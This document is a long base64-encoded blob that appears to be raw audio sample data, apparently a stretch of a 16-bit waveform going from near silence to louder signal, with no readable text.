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wEA+//7//j/AAAPAA8A+f/n//3/EwACAOr/8v8KAAcA7f/r/wgAEQD3/93/9v8WAAUA4//q/xUAHQDy/9f//P8iAAsA4f/h/wQAEwD///H/9v/+/wIAAgD6//X//f8NAA4A9f/g//n/GQAHAOb/8P8VABsA+P/l/wUAHwAEAOb/9/8VABAA9//6/woACAD7//P/+/8FAAAA+P/1//n/+v/9/wAA+f/v/+3/AAATABwADQD2//j/CwAKAPX/9/8QABwABADy//n/EAATAAAA9/8EABEACgD5//z/CQAMAAEA+P8EAAsABgAEAAUABAAAAAIABQAEAP7//P///wsACgAAAPj/+//6//z/CQAEAPf/+f8HABAA/f/w////DgAFAPf/+v8MABAACQD5//n/CgAXAAcA9f///xMADgD1/+n/AgAgAAwA7f/0/w4AEwD8/+7/AAAUAAsA9P/x////BAD8//f//f8DAAMAAAD9/wMACAAAAPv/9P/8/wIA+//y//P//P8DAPr/7//z////AAD1//H///8OAAIA7f/4/woACgD1/+f/AAAUAAkA7//n/wcAFgAAAOX/7/8OABAAAAD3////FQAXAAkA+/8DABcAFwAIAAIAEwAoACIACQABABYALQAdAAQACAAqADgAFwD0/wIALgAwAAcA9v8UACkADADz/wcAKgAjAAEA7v8KAB4ACADr//H/EQAWAO//4v/9/xMA+v/e/+z/BgADAOn/4v/w//n/+f/p/9b/3f/5/wEA6//U/+b//v/5/8v/y//6/w0A3v+8/+L/GgAHANL/2v8MABsA8//g//n/FwAFAOj/7f8OAAgA7//p/wYAFQAFAPD/AQAUAAYA6//0/xQAHQACAPr/EAAeAAsA8P/4/xMAFgADAPb/BAAYABwAAAADABIAGAAKAOz/+/8VABoA8v/y/wEAAwD3/+7//f8MAAgA8//x//j/AQD6//X//P8FAAMA6//q/wYAGAAIAOr/6P8HABQA/v/i//H/FAAaAPb/4//9/x4AEADs/+3/EgAaAPT/3//5/xkACgDt/+7/CAARAAsA/f/4//z/AAACAP//+/8AAAgABwD///r/AgAPAAsA/f/8/w4AFQAFAAAACQAQAAIA8f/7/woACQD6//D//P8JABoACgDw//f/EAASAPz/7v8CABkACgDw/+//DQAgAAYA7P/1/xkAGQD5/9//9P8VABEA5//Y////IQALAOj/7v8UACsABADf//X/GQAWAO3/5f8EABkADgAAAAUAEQAPAAIA/v8AAAgACgABAPr///8GAA8A///2/wIAFAAJAPf/9v8IAAsA/P/x//3/DwAFAPH//v8TAAgA7//w/wcABQDv/+j//f8MAAEA8f/6/wUABQD4//b//f8EAAAA+//9/wQABgAAAP3/AAAEAAAA/P8AAAQAAgD9//7/AQABAPz/7v/v//z/AAD5////DQARAP7/9P8BAAsA8v/b/+j/AwAAAO//7f8GAB4AFwD9//3/DwAIAPL/7P/9/wQA+//n/+j/+f8XADQAKAALABEAIwAOANf/t//P/+T/1P/e/yQAbABgAD4AWwChAJwAGQCa/6L/3P/S/6b/v/8QADoAKAAuAE0ANADg/5r/nf+0/5z/kf/O/x4APgAyABkAGwAiAAMA1f/G/9z/8v/2/w4AMAAxABQA7P/e/+n/+f/5//n/HQBSAFwAKgD5/+//8f/W/7r/z//+/xIAEAAjAEEAOwASAO//3v/Z/9z/5f/z/wwAKwAvAB0AEwAbABQA9P/Z/9///f8HAPP/7v8HABAA+v/o/+f/8//x/+v//f8WABoADwAHAA4ADAD+//D/9P8JABQAFwAbACoANgA/ACwA6f+X/4v/zP8HABsAGAA1AFEANwAEAPD///8DAPT/7/8FAC4ANQAgAA8ADgAFAPn/6//o//r/CQALAAwABgABAO//5P/Z/9j//P8KAO7/3v/7/ykAJwD3/+X/+/8AAOL/x//X/wgAJQAfAAoAEwApAB4A9//t//7/AwDx/+H/8P8SABgA/v/z/w4AHQAEAOj/8f8GAAQA8P/x/wYAFQAQAAgACQALAPf/4//w/xAAIgAXAAsACQAAAPH/5f/n/+z/+f8EAAQABgAMABIAEwABAPH//P8IAAMA+P/7/wYAAQDy//z/DAAQAAEA8P/y//v/+//x//H/8//2/wMAGQAiABYACgD///j/7//r//b/BQAVABIAAQD+/wMAAgD0/+v/8v/2//P/7//1/wMABgD6//P//v8OABAA8v/m//b/BQAAAOz/8f/+/wkABwAFAAkAAwD6//T/+P/9/wQACQABAPX/9f/y/+f/3v/p/wEAEAALAAMABQAMAAQA9v/v//3/BQD4/+3/AwAUAAgA+f8DABcADgD6//T/AQAFAPv/8P/q/+3/7v/t//b/AQALAAsACQAMAAIAAAAAAPv/+f/2//7/AAD+/wIACAAaABkACwAHAP7/9P/r/+r/9f8BAAQAAgAAAAAAAQAKAAMA/v/+//v///8BAAQADgAOABAADwAMAAIAAgAOAAUAAAABAAMABQAGAP7/9//7/wMAAAD//wAADAAOAAgAAwADAAUABQAEAAQABgAJAAoACwANAAcAAQD7//z/AgAKAAkABQAFAAIA///6//z/AQAGAAUACQALAAcABAADAAIABQADAAAA//8EAAgABgACAAQADQAPAA0ADwAQABEAAwD5//X/9P/1//v//f8AAAcACAADAPv/+P/9//v/+f8AAAIABgAKAA0ACAD+//v//v/9/wQACQACAP//AgD+//r/+/8CAAIA/P/9//7/AAD//wAAAQAAAP7/AgAHAA4ADwAGAP3/+/8BAAoAFQANAAkACQAHAP3/8P/v//v/+//8/wIABgADAAIA/f/7/wEABAD///7/BQALAAYAAQAAAPz///8AAPz//f/+/wAA/P/2//f/+f/+//n/+f/6//P/9P/w//n/AAAFAAMABQAGAAQA/////wMAAwAAAAMADQAQABAACQACAP3/+//+//3//f/6//n//v8FAAUAAwABAAIAAQD8//7/AQABAAAAAAABAPr/+P/9/////f/9//3/+//4//n/+v/7//n/9v/2//j/+//5//z/AAADAAcAAAD+////AAAAAAEAAwD///j/9/8AAAYABwAJAAoABQABAPv//P/+//7/AQADAAYADAAKAAYAAAD+//3//v/+/wAAAQAGAAkAAwD+//z//v/7//n/+v///wIABAADAAAA///9//z/AAADAAQABQAAAP//AQADAAYABQAFAAUAAwAEAAIABgAFAAEAAwAEAAQAAAAEAAoABwAFAAUABAACAAIAAwACAAEAAAD8///////6//7/AgAIAAQA//8AAP/////6//7/AQD9//z//f/8/wAAAAAAAAEAAAD9//v//v/9/////////wEAAQD9//3//v8FAAQAAgAGAAQABwAEAAQABwAIAAUAAQABAAEABAAIAAUAAgAAAAQABgADAAQAAgACAAMAAgACAAAA+v/2//j/+P/9/wAAAAAFAAsABQACAAQACQAJAAYABgAEAAIABAACAAMAAgADAAIAAQAFAAAA/P/+//7/BAADAP3/AgAAAP//AQAAAP3/+//8//z//v8AAAAAAQAFAAIAAQABAAEACAAFAAEABAADAAIAAAD5//T/+////wAA/v8BAP/////7//b/9//4//n/+f/+/wAA+/////7/AAD9//7//P/9/wQAAQD+//3/+f/7//z//f/9//7/BAABAAAAAgABAAIA/////wAAAQABAAQABQAAAAAAAgD+//z//f/9/////P/5//v/+v/+//7/+//7//n//P/9//z/+//7//z/9f/5//7/+//9//z//f////z//v/9/wAA//////7//f////7//f/8//r//f/8//v//v/8//7//P/6//z/+v/5//j//f/+//7///8AAP////////3/+//9//v//P/9//j/9v/4//3/+//9//v/+//9//z///8AAP3/+f8AAP7///8AAAAAAgAAAPr//P/+/wMABwAHAAgABgABAP3//v8AAAEAAgAFAAcACAAEAAIAAgAAAAEAAgADAAUABgAFAAMAAwABAAEAAgADAAQAAgD9/wAA9v/6//z//f/+////AwACAAAA/v/8//n/+//+/wAABQADAAMAAgD///z/AQAAAAAAAwAAAAAAAgACAP7//f/5//b/+P/7/wMAAAD//wAA+v/5//3/+v/4//v/AAAAAAQAAAADAAcAAgAFAAEA//8BAAAAAAACAAAA/f///wQABwADAAQABgAGAAUAAwAEAAMAAAABAAQABQADAAEA//////3//f/8////AQACAAMAAAD6//v/+//+//7//v8AAAAA/f/6//n/9P/2//r//f8AAAAA/////////f/9//X/9//7//7/AAAAAAAA/f////7//v8AAP//AQADAAAAAgAFAAAAAAABAAAAAAD//wEABAABAP///v8AAAAA/v8AAAAAAAAAAAEAAQD+////AAAEAAQA/f/9//7/AAAEAAIAAAABAAAABAAFAAMAAQD+/////f/+/wEAAAD///7/+//9/wIAAQAEAAEAAgABAAAA///+//3//f/9/wAA/f/5//X/+f/8//z//v8BAAAA/v/9//n/+/8AAP3////8//j/9f/6//z/+//8//7/AAD///7//v8BAP////8AAP////8AAAgACgAJAAcABgAEAAMAAwAFAAkABwAFAAMAAwABAAIAAQAAAAEABAADAAAA///+//v//v/5/////v///wAAAAAAAAEA/v/8//3//v///wEAAgADAAIAAAD///z//f8AAAAAAQACAAAAAAD9//n/+f/9//v//f/6//r////+/////f8AAP7/AAAEAAIAAAD///7//P////v//v8CAAIABAD+//n//f/8/wIAAAAAAAAAAAAAAAEABAAEAAAAAAD+//7/AAABAP//AAD///7//v/+/wAAAAD9//3//f///wAAAAD///7//v8AAAAA//8AAPv//v8AAP//AAD//wAAAAD/////AQABAAEAAgACAAIAAwD//wAAAAD///7/+v/9//v///8DAAIAAgAEAAMABgAGAAYAAwABAAQAAQABAAMAAwAAAAEABAAEAAQABAACAAIAAAD8//n/9f/4/wEAAAAAAAAAAAD+////AAAAAAEA/P/2//n//v8FAAMAAQABAAEAAAAEAAIA+v/9////AAAAAP7//f/9/wAAAwAAAAEAAwADAAEAAAABAAIAAgAAAAAAAQAAAP3//f/9//v//v/9//v//f/////////9//z/+f/3//r/+f/8//z/+v/9//z/+//3//b/9P/4/wAA//8AAP7//P//////AwADAP////8AAP3/+f/5//n/+//6//3//f/9/wAA//8AAAMABAABAAAAAwAAAAIAAgAAAAAA/P8BAAYAAgAFAA0ABwADAAIAAAABAAMABQAAAAEAAQD8//7/AAAAAPz//v8AAAAAAwAEAP///v8BAAAA//8BAAIAAQACAAAAAAABAP7////6//j/+v/+//////8AAAMABQABAP3/+v/7//7//f/9//7///8AAAAAAAAAAAAAAAABAAAAAgAAAP7//v8AAPv//v/8//7/AAAAAAIAAgABAAMABgADAAcACgAGAAYABAAEAAIAAgADAAAAAQACAAEA///9//7//v8AAAAAAwACAAMAAwAFAAQAAAD/////AQABAAIACAAEAAAAAgADAAMABAAEAAYACAAGAAAAAAD///z///8CAAQAAQADAP//+v/9/wAA/v////3/+v/8//3//f/+//z//f/6//n/+v/4//j/+//8//v//f/+//7///8AAAAA/f/5//r/+/////3//v////z/+v/5//f/+//+//n/+f/6//v//f/7//z/+P/6//v/+f/7//v/+f/6//z/+//8///////5//z//P//////+//8//r/+v/6/wIAAgABAAMA/////wAAAAABAAEAAQAAAPz/AAAAAP7/AQAEAAYABAABAAEAAAABAAIAAwADAAMABQACAAIAAAAAAAAAAAD//wAAAAD8/wAAAwACAAAAAwAFAAYABgALAAcAAAAAAAEAAQACAAQAAgAHAAQAAgAEAAQABwAEAAMACAAFAAMA/f/7//v//P///wAAAAAAAAEAAAAAAP//+v/4//r/+f/9//z//f///wIAAwACAAIAAgAEAAIABAAEAAEAAQABAAEAAAD+/wAAAwABAAEAAwACAP7//P/+////AAD///7//P/8//v/+//+//7//v/+//7////+//3///////3//v/+////AwAEAAIAAwAAAPv//v8AAP7//v8AAAEAAgADAAIAAQABAAEAAwACAAAA/////wIAAAD9//z/AAAAAAUABQABAAAAAAAAAAAA/v8DAAUABQAHAAMA//8CAAIAAQAAAAAAAgAEAAIAAgABAPz////+//3/+v/7//7//f8AAAEAAQAAAAAAAAABAAMAAQAAAAEAAAD//////P/7/wEAAQADAAQABQD///7/AAABAAMAAwD+//7/+v/6//v/+//6//r//f8BAPv/+//6//r/+v/9//v/+//8//z/+P/8//3////9//3//f/5//f/+P/8//v/AAADAP3/+//7//r/+//9/wIABgABAP///f8AAAAAAAAAAP7/+v/5//v//v///////P/6//z////9/wAAAQAAAAAAAAAAAP7/AAAAAAAA/v/9//3////7//v///8BAAAAAAD+/wAAAQAAAP//+//8////AAAEAAAAAAAEAAEAAAAAAP//AAAAAAEAAgABAAEAAAAAAAAAAwABAAAAAAAAAAUAAgACAAIAAAABAAMAAgD+//7/AAACAAEAAAD//wEAAAAAAAIAAgACAP///f8AAAIAAgAEAAUA/v8AAAEAAAAAAAAAAgAAAAAA/v/+//7/AAAAAP7/AAD//wAAAAAAAAEAAAAAAAEAAAD///3/AAABAAEAAAACAAMA//8CAAIAAAABAAAAAAD+//7//P/+/wAA/f/+////+P/6/////f8AAAAAAAABAP///f8AAPz//f/5//j//P/7//r/+P/4//v//v///wAAAAD+//7///8DAAQAAgAEAP//+v/7//3//v/9//3///8HAAcAAgAAAAEAAgABAAIA/P///wUAAgAAAP3//P/9/wAAAQACAAMAAwAAAAAABgAFAAMABQABAAMABgADAAMABgAGAAMAAwAGAAMAAQAAAAAAAAAAAAoACwAKAAMAAAAFAAcACQAGAAIAAAAAAAMABAACAP//AAD///v/+v/8////AQABAP7//P/7//3//f8AAPv////9//n//f/5//r/AAAAAP///v8AAP7//f8AAAIAAAD//wIAAAABAAQAAQAAAP7/AAABAP7//f////3////5//r//f/9/////P/+//v/9P/0//n//P8BAAAA+//7//z//f/+////+//8//3//f/9//7//f/7//z/+v/3//v//P/+/////v/9//7//v8CAAIAAAAAAPz//P/+////AAADAP///f8BAAQACAAMAAgAAwABAAAAAAACAAMAAgD////////8//7///8BAAAAAAADAAYABAABAAAAAAABAP3/+//5//z/+v/5////AAABAAEA///8//z/AAD//wAAAAD9/wAAAAAAAAAAAgD///r//P/9//r//P/+////+//8//3//v8HAAMAAgAHAAUABQAHAAgABwAHAAUAAwACAAEAAQACAAMABgAIAAUABAAGAAUABAAHAAYABQADAAEAAgABAAAAAAD//wIAAgAAAP7/+//+/wAAAAAFAAAA+//8//X/+f/9//f/9v/5//v//f/+////AAD7//r/+////wAA//////7//v///wAAAAAAAAEABgAJAAUAAQAEAAcABQABAP//AAAAAP7/BAACAAAA/////wAAAAAAAAAAAAAAAAQACAAFAAMAAAD///7//////////v/9//7/AAAMACwARAAtAAAA6P/s//j/AAAAAPn/+f/y//P//f8GAAUAAgAEAAgABwABAAAAAAABAAMABAACAAIAAAAAAAcAAwAAAAMA///9//3///8IAAoABgADAAgACgABAP7/AwAGAAQAAAD9//7///////r/+//8//7/AQABAAEAAAABAP//+f/3//r//f8AAPv/+f/1//T/+/8AAAMAAQD7//b/+v8DAAgABgACAAAA/f/+//f/+v8AA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